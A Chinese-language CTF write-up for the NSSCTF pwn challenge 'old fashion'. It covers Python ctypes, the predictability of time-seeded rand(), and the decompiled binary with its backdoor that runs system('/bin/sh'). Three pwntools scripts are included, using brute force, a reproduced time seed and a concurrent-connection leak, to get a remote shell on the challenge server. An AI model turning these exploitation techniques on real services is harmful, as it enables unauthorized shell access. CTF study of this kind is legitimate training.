[NSSRound#9 Basic]old fashion
悄悄话:最近学的有点崩,就是想着去简单的题中混混,没想到遇到这个很有意思的一道题,用最普遍的方法写出来后,去看了不同大佬的不同解法,也是挺有收获的
大佬wp:
文章 - [NSSRound#9 Basic]old fashion NONON的WriteUp | NSSCTF
文章 - [NSSRound#9 Basic]old fashion xshhc的WriteUp | NSSCTF


知识点:

  1. ctypes库(调用 C 语言)
    介绍:
    ctypes 是 Python 的标准库,用来调用 C 语言写的动态链接库(.so / .dll)并与 C 类型交互。
    基本用法
    加载动态库
1
2
3
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# 也可以用 windll.LoadLibrary("xxx.dll") 在 Windows 上

cdll:调用 C 函数时按默认的 C 调用约定。
调用库里的函数

1
libc.printf(b"Hello, %d\n", 123)

直接调用,Python 会自动把 int 转换为 C int
2. rand函数

1
2
#include <stdlib.h>
int rand(void);
  • 返回值:0 ~ RAND_MAX(通常是 0~32767)之间的一个伪随机整数。
  • rand() 本身不是真随机,而是 伪随机:依赖内部的全局种子 seed
    如果不调用 srand() 初始化种子,rand() 默认相当于 srand(1),每次程序运行出来的随机序列都一样。
    伪随机序列特性
    rand() 产生的序列是确定性的,只要种子相同,序列一定相同。
    举例:
1
srand(1234); printf("%d\n", rand()); printf("%d\n", rand());

无论运行多少次,都输出一样的两个数字。


准备


64 位,开了 NXcanary 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+8h] [rbp-18h] BYREF
char *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
if ( (unsigned int)guess_number() == 1 )
{
yay();
}
else
{
puts("difficult? Ok , i will give you a gift , how big gift you want ? ");
__isoc99_scanf("%ld", &size);
v4 = (char *)malloc(size);
printf("here you are: %p\n", v4);
puts("offset ? ");
__isoc99_scanf("%ld", &size);
puts("i thint you may write /bin/sh here");
__isoc99_scanf("%zu", &v4[8 * size]);
}
_exit(0);
}

先一个 if 判断,有一个 guess_number 函数
guess_number 函数返回值为 1 时,会执行 yay 函数
guess_number 函数返回值不为 1 时,会涉及到堆块,最后一个任意地址写

1
2
3
4
puts("difficult? Ok , i will give you a gift , how big gift you want ? ");
__isoc99_scanf("%ld", &size);
v4 = (char *)malloc(size);
printf("here you are: %p\n", v4);

自定义创建任意大小的堆块,泄露堆块基址

1
2
puts("offset ? ");
__isoc99_scanf("%ld", &size);

读取一个整数到 size 变量中

1
2
puts("i thint you may write /bin/sh here");
__isoc99_scanf("%zu", &v4[8 * size]);

直接把输入的整数写到 &v4[8 * size]=v4 + 8*size 对应的内存里
因为可以完全控制 size,就可以让偏移 8 * size 指向 任意内存位置,并写入一个 8 字节(size_t)值,达到任意地址写

guess_number函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 guess_number()
{
unsigned int seed; // eax
int v2; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
seed = time(0LL);
srand(seed);
for ( i = 1; i <= 16; ++i )
{
v4 = rand() % 100 + 1;
printf("Guess the number (between 1 and 100): ");
__isoc99_scanf("%d", &v2);
if ( v4 == v2 )
{
puts("Congratulations! You guessed the number correctly.");
return 1LL;
}
printf("Sorry, the correct number is %d.\n", v4);
}
return 0LL;
}

循环共 17 次,输入一个范围为 1-100 的值和随机值(以当前时间为种子)比较,判断是否相同,有一次相同就返回 1,不同返回 0

yay函数(后门函数)

1
2
3
4
int yay()
{
return system("/bin/sh");
}

直接的连接点

思路:

这题满足随机数时,就能获得连接,所以直接从随机数入手,利用堆去解,感觉挺麻烦的

方法1(直接爆破)

最简单的方法,直接爆破,靠程序自身的次数,和我们不断连接尝试,来获取 shell

1
2
for i in range(1,17):
io.sendline(b'66')

我这里用了 66 ,然后反复的连接尝试获得 shell

方法2(构造随机值)

利用 rand 的伪随机序列特性,直接构造同样的随机数,发送后获得 shell

1
2
3
4
libc = cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6')

libc.srand(libc.time(0))
io.sendlineafter(b'100): ', str((libc.rand() % 100) + 1))

我这里没考虑延续,所以可能会连不通,也是多试几次就可以了

方法3(并发)

利用 1 秒中的多次连接,第一次连接获取当前秒数的数值,第二次连接进行输入

1
2
3
4
5
6
7
8
9
io=remote('node5.anna.nssctf.cn',28155)
# io=process('/home/motaly/z')
io.sendlineafter(b'100): ', str(1))
io.recvuntil(b"number is ")
num = int(io.recvuntil(".")[:-1])
io.close()
io = remote('node5.anna.nssctf.cn',28155)
io.recvuntil("Guess the number (between 1 and 100): ")
io.sendline(str(num))

非常惊喜的一个解,有点是 webpwn 的结合,大佬还是太厉害了

脚本

方法1(直接爆破)

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',28878)
# io=process('/home/motaly/z')

for i in range(1,17):
io.sendline(b'66')

io.interactive()

方法2(构造随机值)

1
2
3
4
5
6
7
8
9
from pwn import *
from ctypes import *
io=remote('node5.anna.nssctf.cn',28878)
# io=process('/home/motaly/z')
libc = cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6')

libc.srand(libc.time(0))
io.sendlineafter(b'100): ', str((libc.rand() % 100) + 1))
io.interactive()

方法3(并发)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',28155)
# io=process('/home/motaly/z')
io.sendlineafter(b'100): ', str(1))
io.recvuntil(b"number is ")
num = int(io.recvuntil(".")[:-1])
io.close()
io = remote('node5.anna.nssctf.cn',28155)
io.recvuntil("Guess the number (between 1 and 100): ")
io.sendline(str(num))
io.interactive()